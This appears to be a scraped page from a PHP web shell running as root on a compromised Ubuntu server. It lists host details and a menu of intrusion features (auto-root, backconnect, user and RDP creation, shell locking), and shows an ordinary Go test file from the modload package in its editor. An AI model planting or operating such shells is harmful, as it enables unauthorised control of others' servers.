Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
cmd /
go /
internal /
modload /
[ HOME SHELL ]
Name
Size
Permission
Action
build.go
8.5
KB
-rw-r--r--
help.go
23.75
KB
-rw-r--r--
import.go
12.59
KB
-rw-r--r--
import_test.go
1.73
KB
-rw-r--r--
init.go
31.92
KB
-rw-r--r--
list.go
4.55
KB
-rw-r--r--
load.go
39.87
KB
-rw-r--r--
query.go
20.2
KB
-rw-r--r--
query_test.go
9.19
KB
-rw-r--r--
search.go
3.57
KB
-rw-r--r--
stat_openfile.go
786
B
-rw-r--r--
stat_unix.go
1002
B
-rw-r--r--
stat_windows.go
734
B
-rw-r--r--
testgo.go
235
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : import_test.go
// Copyright 2018 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package modload import ( "internal/testenv" "regexp" "strings" "testing" ) var importTests = []struct { path string err string }{ { path: "golang.org/x/net/context", err: "missing module for import: golang.org/x/net@.* provides golang.org/x/net/context", }, { path: "golang.org/x/net", err: `module golang.org/x/net@.* found \(v0.0.0-.*\), but does not contain package golang.org/x/net`, }, { path: "golang.org/x/text", err: "missing module for import: golang.org/x/text@.* provides golang.org/x/text", }, { path: "github.com/rsc/quote/buggy", err: "missing module for import: github.com/rsc/quote@v1.5.2 provides github.com/rsc/quote/buggy", }, { path: "github.com/rsc/quote", err: "missing module for import: github.com/rsc/quote@v1.5.2 provides github.com/rsc/quote", }, { path: "golang.org/x/foo/bar", err: "cannot find module providing package golang.org/x/foo/bar", }, } func TestImport(t *testing.T) { testenv.MustHaveExternalNetwork(t) testenv.MustHaveExecPath(t, "git") defer func(old bool) { allowMissingModuleImports = old }(allowMissingModuleImports) AllowMissingModuleImports() for _, tt := range importTests { t.Run(strings.ReplaceAll(tt.path, "/", "_"), func(t *testing.T) { // Note that there is no build list, so Import should always fail. m, dir, err := Import(tt.path) if err == nil { t.Fatalf("Import(%q) = %v, %v, nil; expected error", tt.path, m, dir) } if !regexp.MustCompile(tt.err).MatchString(err.Error()) { t.Fatalf("Import(%q): error %q, want error matching %#q", tt.path, err, tt.err) } }) } }
Close